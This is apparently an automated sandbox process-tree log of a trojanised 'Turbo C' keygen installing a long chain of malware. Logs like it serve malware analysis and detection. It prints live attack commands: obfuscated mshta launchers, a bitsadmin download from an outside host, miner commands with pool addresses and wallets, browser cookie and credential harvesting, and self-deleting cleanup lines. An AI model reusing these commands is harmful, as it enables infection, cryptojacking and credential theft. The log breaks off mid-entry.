C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:1832

C:\Users\Admin\AppData\Local\Temp\Temp2_Turbo.C.4.0.Windows.7.Window.keygen.by.Lz0.zip\Turbo.C.4.0.Windows.7.Window.keygen.by.Lz0.exe
"C:\Users\Admin\AppData\Local\Temp\Temp2_Turbo.C.4.0.Windows.7.Window.keygen.by.Lz0.zip\Turbo.C.4.0.Windows.7.Window.keygen.by.Lz0.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2136

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen.bat" "
2⤵
- Suspicious use of WriteProcessMemory
PID:2672

C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-pr.exe
keygen-pr.exe -p83fsase3Ge
3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3092

C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe
"C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe"
4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1596

C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe
C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe -txt -scanlocal -file:potato.dat
5⤵
PID:884

C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-1.exe
keygen-step-1.exe
3⤵
- Executes dropped EXE
PID:1180

C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-5.exe
keygen-step-5.exe
3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:780

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" VbscriPt: ClOse ( CReatEobjecT ( "WScriPt.sHeLl").RUn ( "CmD.ExE /c copY /y ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-5.exe"" RWD_.exe > NUL && starT RWD_.exe -PQtL97YU9CePvSHWa~W4YULQmeii & iF """" == """" for %m In ( ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-5.exe"" ) do taskkill /f /IM ""%~nxm"" > nuL ", 0 ))
4⤵
- Suspicious use of WriteProcessMemory
PID:3892

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c copY /y "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-5.exe" RWD_.exe > NUL && starT RWD_.exe -PQtL97YU9CePvSHWa~W4YULQmeii & iF "" =="" for %m In ( "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-5.exe") do taskkill /f /IM "%~nxm" > nuL
5⤵
- Suspicious use of WriteProcessMemory
PID:1476

C:\Users\Admin\AppData\Local\Temp\RWD_.exe
RWD_.exe -PQtL97YU9CePvSHWa~W4YULQmeii
6⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1480

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" VbscriPt: ClOse ( CReatEobjecT ( "WScriPt.sHeLl").RUn ( "CmD.ExE /c copY /y ""C:\Users\Admin\AppData\Local\Temp\RWD_.exe"" RWD_.exe > NUL && starT RWD_.exe -PQtL97YU9CePvSHWa~W4YULQmeii & iF ""-PQtL97YU9CePvSHWa~W4YULQmeii "" == """" for %m In ( ""C:\Users\Admin\AppData\Local\Temp\RWD_.exe"" ) do taskkill /f /IM ""%~nxm"" > nuL ", 0 ))
7⤵
- Suspicious use of WriteProcessMemory
PID:4112

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c copY /y "C:\Users\Admin\AppData\Local\Temp\RWD_.exe" RWD_.exe > NUL && starT RWD_.exe -PQtL97YU9CePvSHWa~W4YULQmeii & iF "-PQtL97YU9CePvSHWa~W4YULQmeii " =="" for %m In ( "C:\Users\Admin\AppData\Local\Temp\RWD_.exe") do taskkill /f /IM "%~nxm" > nuL
8⤵
PID:4420

C:\Windows\SysWOW64\regsvr32.exe
"C:\Windows\System32\regsvr32.exe" .\WiUZzK.CI -s
7⤵
- Loads dropped DLL
- Suspicious use of NtCreateThreadExHideFromDebugger
PID:4744

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /IM "keygen-step-5.exe"
6⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:608

C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-2.exe
keygen-step-2.exe
3⤵
- Executes dropped EXE
- Modifies system certificate store
PID:3076

C:\Users\Admin\AppData\Roaming\72DF.tmp.exe
"C:\Users\Admin\AppData\Roaming\72DF.tmp.exe"
4⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4928

C:\Windows\SysWOW64\cmd.exe
cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Roaming\72DF.tmp.exe"
5⤵
PID:5240

C:\Windows\SysWOW64\timeout.exe
timeout /T 10 /NOBREAK
6⤵
- Delays execution with timeout.exe
PID:5656

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-2.exe" >> NUL
4⤵
PID:4960

C:\Windows\SysWOW64\PING.EXE
ping 127.0.0.1
5⤵
- Runs ping.exe
PID:5092

C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exe
keygen-step-3.exe
3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3996

C:\Windows\SysWOW64\cmd.exe
cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exe"
4⤵
PID:4232

C:\Windows\SysWOW64\PING.EXE
ping 1.1.1.1 -n 1 -w 3000
5⤵
- Runs ping.exe
PID:4880

C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-4.exe
keygen-step-4.exe
3⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2776

C:\Users\Admin\AppData\Local\Temp\RarSFX2\xiuhuali.exe
"C:\Users\Admin\AppData\Local\Temp\RarSFX2\xiuhuali.exe"
4⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1948

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\System32\rundll32.exe" "C:\Program Files\install.dll",install
5⤵
- Loads dropped DLL
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:8

C:\Users\Admin\AppData\Local\Temp\RarSFX2\JoSetp.exe
"C:\Users\Admin\AppData\Local\Temp\RarSFX2\JoSetp.exe"
4⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2088

C:\ProgramData\1499853.exe
"C:\ProgramData\1499853.exe"
5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5008

C:\ProgramData\7361992.exe
"C:\ProgramData\7361992.exe"
5⤵
- Executes dropped EXE
- Adds Run key to start application
PID:5064

C:\ProgramData\Windows Host\Windows Host.exe
"C:\ProgramData\Windows Host\Windows Host.exe"
6⤵
- Executes dropped EXE
PID:4256

C:\Users\Admin\AppData\Local\Temp\RarSFX2\Install.exe
"C:\Users\Admin\AppData\Local\Temp\RarSFX2\Install.exe"
4⤵
- Executes dropped EXE
PID:4720

C:\Users\Admin\AppData\Local\Temp\is-0B0F1.tmp\Install.tmp
"C:\Users\Admin\AppData\Local\Temp\is-0B0F1.tmp\Install.tmp" /SL5="$40314,235791,152064,C:\Users\Admin\AppData\Local\Temp\RarSFX2\Install.exe"
5⤵
- Executes dropped EXE
- Loads dropped DLL
PID:716

C:\Users\Admin\AppData\Local\Temp\is-C60Q1.tmp\Ultra.exe
"C:\Users\Admin\AppData\Local\Temp\is-C60Q1.tmp\Ultra.exe" /S /UID=burnerch1
6⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Drops file in Program Files directory
PID:4824

C:\Program Files\Uninstall Information\QPAOTXCOGH\ultramediaburner.exe
"C:\Program Files\Uninstall Information\QPAOTXCOGH\ultramediaburner.exe" /VERYSILENT
7⤵
- Executes dropped EXE
PID:4692

C:\Users\Admin\AppData\Local\Temp\is-J6QKO.tmp\ultramediaburner.tmp
"C:\Users\Admin\AppData\Local\Temp\is-J6QKO.tmp\ultramediaburner.tmp" /SL5="$402FE,281924,62464,C:\Program Files\Uninstall Information\QPAOTXCOGH\ultramediaburner.exe" /VERYSILENT
8⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
PID:4528

C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe
"C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu
9⤵
- Executes dropped EXE
PID:4988

C:\Users\Admin\AppData\Local\Temp\a1-8679e-c2f-8dba2-77f633f85ff71\Fobaeshelana.exe
"C:\Users\Admin\AppData\Local\Temp\a1-8679e-c2f-8dba2-77f633f85ff71\Fobaeshelana.exe"
7⤵
- Executes dropped EXE
- Checks computer location settings
PID:4840

C:\Users\Admin\AppData\Local\Temp\6f-1e8a5-fa0-bcc9d-44d05cf8da982\Nifalilogy.exe
"C:\Users\Admin\AppData\Local\Temp\6f-1e8a5-fa0-bcc9d-44d05cf8da982\Nifalilogy.exe"
7⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:4336

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\qrk0dwju.et0\instEU.exe & exit
8⤵
- Blocklisted process makes network request
- Adds Run key to start application
- Drops file in Program Files directory
PID:4824

C:\Users\Admin\AppData\Local\Temp\qrk0dwju.et0\instEU.exe
C:\Users\Admin\AppData\Local\Temp\qrk0dwju.et0\instEU.exe
9⤵
- Executes dropped EXE
PID:4292

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\bnmcprjb.kci\gpooe.exe & exit
8⤵
PID:4268

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\blnc1fxa.msh\google-game.exe & exit
8⤵
PID:5768

C:\Users\Admin\AppData\Local\Temp\blnc1fxa.msh\google-game.exe
C:\Users\Admin\AppData\Local\Temp\blnc1fxa.msh\google-game.exe
9⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious use of SetWindowsHookEx
PID:5912

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\System32\rundll32.exe" "C:\Program Files\install.dll",install
10⤵
- Loads dropped DLL
- Modifies registry class
PID:6060

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\iec4u2wz.5oj\skipper.exe /s & exit
8⤵
PID:5284

C:\Users\Admin\AppData\Local\Temp\iec4u2wz.5oj\skipper.exe
C:\Users\Admin\AppData\Local\Temp\iec4u2wz.5oj\skipper.exe /s
9⤵
PID:5068

C:\Users\Admin\AppData\Local\Temp\666520274.exe
C:\Users\Admin\AppData\Local\Temp\666520274.exe
10⤵
PID:5252

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
11⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:5248

C:\Users\Admin\AppData\Local\Temp\1697704201.exe
C:\Users\Admin\AppData\Local\Temp\1697704201.exe
10⤵
PID:3760

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /k ping 0 & del C:\Users\Admin\AppData\Local\Temp\iec4u2wz.5oj\skipper.exe & exit
10⤵
PID:4968

C:\Windows\SysWOW64\PING.EXE
ping 0
11⤵
- Runs ping.exe
PID:5488

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\fvrqa252.lic\md1_1eaf.exe & exit
8⤵
- Blocklisted process makes network request
- Executes dropped EXE
PID:3936

C:\Users\Admin\AppData\Local\Temp\fvrqa252.lic\md1_1eaf.exe
C:\Users\Admin\AppData\Local\Temp\fvrqa252.lic\md1_1eaf.exe
9⤵
PID:1308

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\o5e1f0xs.mca\askinstall36.exe & exit
8⤵
PID:5640

C:\Users\Admin\AppData\Local\Temp\o5e1f0xs.mca\askinstall36.exe
C:\Users\Admin\AppData\Local\Temp\o5e1f0xs.mca\askinstall36.exe
9⤵
PID:5536

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c taskkill /f /im chrome.exe
10⤵
PID:5884

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im chrome.exe
11⤵
- Kills process with taskkill
PID:4028

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\41u3gxaf.d2j\MDNWKLVHMX.exe & exit
8⤵
PID:5240

C:\Users\Admin\AppData\Local\Temp\41u3gxaf.d2j\MDNWKLVHMX.exe
C:\Users\Admin\AppData\Local\Temp\41u3gxaf.d2j\MDNWKLVHMX.exe
9⤵
PID:6084

C:\Users\Admin\AppData\Local\Temp\RarSFX3\main.exe
"C:\Users\Admin\AppData\Local\Temp\RarSFX3\main.exe"
10⤵
PID:1832

C:\Users\Admin\AppData\Local\Temp\RarSFX3\parse.exe
parse.exe -f json -b edge
11⤵
PID:5960

C:\Users\Admin\AppData\Local\Temp\RarSFX3\parse.exe
parse.exe -f json -b chrome
11⤵
PID:6096

C:\Users\Admin\AppData\Local\Temp\RarSFX3\parse.exe
parse.exe -f json -b firefox
11⤵
PID:5564

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\zwg1sbek.iex\y1.exe & exit
8⤵
PID:5232

C:\Users\Admin\AppData\Local\Temp\zwg1sbek.iex\y1.exe
C:\Users\Admin\AppData\Local\Temp\zwg1sbek.iex\y1.exe
9⤵
PID:4696

C:\Users\Admin\AppData\Local\Temp\XqwLvTckaR.exe
"C:\Users\Admin\AppData\Local\Temp\XqwLvTckaR.exe"
10⤵
PID:1332

C:\Users\Admin\AppData\Roaming\1619111292618.exe
"C:\Users\Admin\AppData\Roaming\1619111292618.exe" /sjson "C:\Users\Admin\AppData\Roaming\1619111292618.txt"
11⤵
PID:6112

C:\Windows\SysWOW64\cmd.exe
cmd /c ping 127.0.0.1 -n 3 & del "C:\Users\Admin\AppData\Local\Temp\XqwLvTckaR.exe"
11⤵
PID:4864

C:\Windows\SysWOW64\PING.EXE
ping 127.0.0.1 -n 3
12⤵
- Runs ping.exe
PID:5028

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\xcottbkn.rsw\ABCbrowser.exe /VERYSILENT & exit
8⤵
PID:4608

C:\Users\Admin\AppData\Local\Temp\xcottbkn.rsw\ABCbrowser.exe
C:\Users\Admin\AppData\Local\Temp\xcottbkn.rsw\ABCbrowser.exe /VERYSILENT
9⤵
PID:5680

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
10⤵
PID:5768

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\z2sdytjd.nl0\toolspab1.exe & exit
8⤵
PID:5132

C:\Users\Admin\AppData\Local\Temp\z2sdytjd.nl0\toolspab1.exe
C:\Users\Admin\AppData\Local\Temp\z2sdytjd.nl0\toolspab1.exe
9⤵
PID:5488

C:\Users\Admin\AppData\Local\Temp\z2sdytjd.nl0\toolspab1.exe
C:\Users\Admin\AppData\Local\Temp\z2sdytjd.nl0\toolspab1.exe
10⤵
PID:4764

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\u5jidqdk.xdn\SunLabsPlayer.exe /S & exit
8⤵
PID:764

C:\Users\Admin\AppData\Local\Temp\u5jidqdk.xdn\SunLabsPlayer.exe
C:\Users\Admin\AppData\Local\Temp\u5jidqdk.xdn\SunLabsPlayer.exe /S
9⤵
PID:5112

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nssFD10.tmp\tempfile.ps1"
10⤵
PID:5812

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nssFD10.tmp\tempfile.ps1"
10⤵
PID:5276

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nssFD10.tmp\tempfile.ps1"
10⤵
PID:5612

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nssFD10.tmp\tempfile.ps1"
10⤵
PID:5384

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nssFD10.tmp\tempfile.ps1"
10⤵
PID:5244

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nssFD10.tmp\tempfile.ps1"
10⤵
PID:2672

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nssFD10.tmp\tempfile.ps1"
10⤵
PID:5332

C:\Windows\SysWOW64\bitsadmin.exe
"bitsadmin" /Transfer helper http://sunlabsinternational.com/data/data.7z C:\zip.7z
10⤵
- Download via BitsAdmin
PID:4328

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\c3fr2bxn.lbw\GcleanerWW.exe /mixone & exit
8⤵
PID:4876

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\zg1tcdbj.5hw\inst.exe & exit
8⤵
PID:6116

C:\Users\Admin\AppData\Local\Temp\zg1tcdbj.5hw\inst.exe
C:\Users\Admin\AppData\Local\Temp\zg1tcdbj.5hw\inst.exe
9⤵
PID:5572

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\pz1qnefo.uun\c7ae36fa.exe & exit
8⤵
PID:5324

C:\Users\Admin\AppData\Local\Temp\pz1qnefo.uun\c7ae36fa.exe
C:\Users\Admin\AppData\Local\Temp\pz1qnefo.uun\c7ae36fa.exe
9⤵
PID:2324

C:\Users\Admin\AppData\Local\Temp\RarSFX2\filee.exe
"C:\Users\Admin\AppData\Local\Temp\RarSFX2\filee.exe"
4⤵
- Executes dropped EXE
PID:4488

C:\Users\Admin\AppData\Roaming\8DE9.tmp.exe
"C:\Users\Admin\AppData\Roaming\8DE9.tmp.exe"
5⤵
PID:5248

C:\Users\Admin\AppData\Roaming\8DE9.tmp.exe
"C:\Users\Admin\AppData\Roaming\8DE9.tmp.exe"
6⤵
- Executes dropped EXE
PID:5948

C:\Users\Admin\AppData\Roaming\9136.tmp.exe
"C:\Users\Admin\AppData\Roaming\9136.tmp.exe"
5⤵
- Executes dropped EXE
PID:5408

C:\Windows\system32\msiexec.exe
-P stratum1+ssl://0xb7633a80145Ec9ce2b8b5F80AB36C783064C2E10.w22669@eu-eth.hiveon.net:24443 -R --response-timeout 30 --farm-retries 99999
6⤵
PID:5808

C:\Windows\system32\msiexec.exe
-o pool.supportxmr.com:8080 -u 47wDrszce6VbnMB4zhhEA1Gr3EzwHx2eS6QzC5sFoq8iGdMjnzX8bnEjBdQHsAuW8C1SNgxyGa4DQTVnQ9jfhRod73np5P8.w29677 --cpu-max-threads-hint 50 -r 9999
6⤵
PID:4628

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\RarSFX2\filee.exe"
5⤵
PID:5808

C:\Windows\SysWOW64\PING.EXE
ping 127.0.0.1
6⤵
- Runs ping.exe
PID:5956

C:\Users\Admin\AppData\Local\Temp\RarSFX2\jg6_6asg.exe
"C:\Users\Admin\AppData\Local\Temp\RarSFX2\jg6_6asg.exe"
4⤵
PID:3936

C:\Users\Admin\AppData\Local\Temp\RarSFX2\gaoou.exe
"C:\Users\Admin\AppData\Local\Temp\RarSFX2\gaoou.exe"
4⤵
PID:5992

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
5⤵
PID:5212

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
5⤵
PID:1832

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:4916

C:\Windows\system32\browser_broker.exe
C:\Windows\system32\browser_broker.exe -Embedding
1⤵
- Modifies Internet Explorer settings
PID:4400

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies registry class
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:5292

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies Internet Explorer settings
- Modifies registry class
PID:5476

C:\Users\Admin\AppData\Local\Temp\D8E7.exe
C:\Users\Admin\AppData\Local\Temp\D8E7.exe
1⤵
PID:5500

C:\Users\Admin\AppData\Local\Temp\DB4A.exe
C:\Users\Admin\AppData\Local\Temp\DB4A.exe
1⤵
PID:2672

C:\Users\Admin\AppData\Local\Temp\F1C1.exe
C:\Users\Admin\AppData\Local\Temp\F1C1.exe
1⤵
PID:5132

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5132 -s 868
2⤵
- Program crash
PID:5400

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5132 -s 892
2⤵
- Program crash
PID:2456

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5132 -s 924
2⤵
- Program crash
PID:4456

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5132 -s 1064
2⤵
- Program crash
PID:2844

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5132 -s 1124
2⤵
- Program crash
PID:5368

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5132 -s 1016
2⤵
- Program crash
PID:5680

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5132 -s 1136
2⤵
- Program crash
PID:5900

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5132 -s 1208
2⤵
- Program crash
PID:4388

C:\Users\Admin\AppData\Local\Temp\F2FA.exe
C:\Users\Admin\AppData\Local\Temp\F2FA.exe
1⤵
PID:5416

C:\Users\Admin\AppData\Local\Temp\FCCF.exe
C:\Users\Admin\AppData\Local\Temp\FCCF.exe
1⤵
PID:4520

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
2⤵
PID:6140

C:\Users\Admin\AppData\Local\Temp\4BF.exe
C:\Users\Admin\AppData\Local\Temp\4BF.exe
1⤵
PID:5800

C:\Users\Admin\AppData\Local\Temp\647349126.exe
"C:\Users\Admin\AppData\Local\Temp\647349126.exe"
2⤵
PID:5996

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
3⤵
PID:5872

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
3⤵
PID:1192

C:\Users\Admin\AppData\Local\Temp\1371397063.exe
"C:\Users\Admin\AppData\Local\Temp\1371397063.exe"
2⤵
PID:4324

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
3⤵
PID:4192

C:\Users\Admin\AppData\Local\Temp\712.exe
C:\Users\Admin\AppData\Local\Temp\712.exe
1⤵
PID:4580

C:\Users\Admin\AppData\Local\Temp\926.exe
C:\Users\Admin\AppData\Local\Temp\926.exe
1⤵
PID:5224

C:\Users\Admin\AppData\Local\Temp\ABD.exe
C:\Users\Admin\AppData\Local\Temp\ABD.exe
1⤵
PID:6132

C:\Users\Admin\AppData\Local\Temp\FFE.exe
C:\Users\Admin\AppData\Local\Temp\FFE.exe
1⤵
PID:4424

C:\Users\Admin\AppData\Local\Temp\RWD_.exe
"C:\Users\Admin\AppData\Local\Temp\RWD_.exe"
1⤵
PID:4808

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" VbscriPt: ClOse ( CReatEobjecT ( "WScriPt.sHeLl").RUn ( "CmD.ExE /c copY /y ""C:\Users\Admin\AppData\Local\Temp\RWD_.exe"" RWD_.exe > NUL && starT RWD_.exe -PQtL97YU9CePvSHWa~W4YULQmeii & iF """" == """" for %m In ( ""C:\Users\Admin\AppData\Local\Temp\RWD_.exe"" ) do taskkill /f /IM ""%~nxm"" > nuL ", 0 ))
2⤵
PID:4952

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c copY /y "C:\Users\Admin\AppData\Local\Temp\RWD_.exe" RWD_.exe > NUL && starT RWD_.exe -PQtL97YU9CePvSHWa~W4YULQmeii & iF "" =="" for %m In ( "C:\Users\Admin\AppData\Local\Temp\RWD_.exe") do taskkill /f /IM "%~nxm" > nuL
3⤵
PID:5008

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /IM "RWD_.exe"
4⤵
- Kills process with taskkill
PID:5216

C:\Users\Admin\AppData\Local\Temp\1EA5.exe
C:\Users\Admin\AppData\Local\Temp\1EA5.exe
1⤵
PID:4480

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
2⤵
PID:2888

C:\Users\Admin\AppData\Local\Temp\FFE.exe
"C:\Users\Admin\AppData\Local\Temp\FFE.exe"
1⤵
PID:4804

C:\Users\Admin\AppData\Local\Temp\ABD.exe
"C:\Users\Admin\AppData\Local\Temp\ABD.exe"
1⤵
PID:5200

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5200 -s 512
2⤵
- Program crash
PID:5956

C:\Users\Admin\AppData\Local\Temp\FFE.exe
"C:\Users\Admin\AppData\Local\Temp\FFE.exe"
1⤵
PID:5720

C:\Users\Admin\AppData\Local\Temp\4BF.exe
"C:\Users\Admin\AppData\Local\Temp\4BF.exe"
1⤵
PID:5240

C:\Users\Admin\AppData\Local\Temp\647349126.exe
"C:\Users\Admin\AppData\Local\Temp\647349126.exe"
2⤵
PID:4264

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
3⤵
PID:3208

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
3⤵
PID:3188

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
3⤵
PID:3920

C:\Users\Admin\AppData\Local\Temp\1371397063.exe
"C:\Users\Admin\AppData\Local\Temp\1371397063.exe"
2⤵
PID:1832

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
